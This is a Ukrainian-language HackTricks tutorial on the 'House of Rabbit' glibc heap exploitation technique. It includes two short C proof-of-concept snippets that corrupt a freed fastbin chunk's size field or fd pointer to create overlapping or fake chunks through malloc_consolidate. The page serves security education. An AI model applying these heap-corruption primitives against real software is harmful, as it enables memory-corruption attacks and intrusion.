House of Rabbit

Підтримайте HackTricks

Вимоги

  1. Можливість змінювати вказівник fd або розмір fast bin: Це означає, що ви можете змінити впередній вказівник шматка в fastbin або його розмір.

  2. Можливість викликати malloc_consolidate: Це можна зробити або виділивши великий шматок, або об'єднавши верхній шматок, що змушує купу об'єднувати шматки.

Цілі

  1. Створення перекриваючихся шматків: Мати один шматок, який перекривається з іншим, що дозволяє подальші маніпуляції купою.

  2. Фальшиві шматки: Обманути алокатор, щоб він розглядав фальшивий шматок як законний під час операцій з купою.

Кроки атаки

POC 1: Зміна розміру шматка fast bin

Мета: Створення перекриваючого шматка шляхом маніпулювання розміром шматка fastbin.

  • Крок 1: Виділення шматків

unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state
  • Крок 2: Звільнення чанків

free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050
  • Крок 3: Змінити Розмір Частини

chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])

Ми змінюємо метадані розміру chunk1 на 0xa1. Це ключовий крок для обману алокатора під час консолідації.

  • Крок 4: Викликати malloc_consolidate

malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation

Виділення великого фрагмента спричиняє виклик функції malloc_consolidate, яка об'єднує невеликі фрагменти у швидкому блоці. Змінений розмір chunk1 призводить до перекриття з chunk2.

Після консолідації chunk1 перекривається з chunk2, що дозволяє подальшу експлуатацію.

POC 2: Зміна вказівника fd

Мета: Створення фальшивого фрагмента шляхом маніпулювання вказівником fd швидкого блоку.

  • Крок 1: Виділення фрагментів

unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050

Пояснення: Ми виділяємо два блоки, один менший і один більший, щоб налаштувати купу для фальшивого блоку.

  • Крок 2: Створення фальшивого блоку

chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
  • Крок 3: Звільнення chunk1

free(chunk1);  // Frees the chunk at 0x602000

Пояснення: Ми вивільняємо chunk1, додаючи його до списку fastbin.

  • Крок 4: Змінюємо fd chunk1

chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2

Пояснення: Ми змінюємо вказівник вперед (fd) chunk1, щоб він вказував на наш фальшивий чанк всередині chunk2.

  • Крок 5: Викликати malloc_consolidate

malloc(5000);  // Allocate a large chunk to trigger heap consolidation

Виділення великого шматка знову спричинює виклик malloc_consolidate, який обробляє фейковий шматок.

Фейковий шматок стає частиною списку fastbin, роблячи його законним шматком для подальшої експлуатації.

Огляд

Техніка House of Rabbit включає в себе зміну розміру шматка fast bin для створення перекриваючихся шматків або маніпулювання вказівником fd для створення фейкових шматків. Це дозволяє зловмисникам фальшивити законні шматки в купі, що дозволяє різноманітні форми експлуатації. Розуміння та практика цих кроків покращить ваші навички експлуатації купи.

Підтримайте HackTricks

Last updated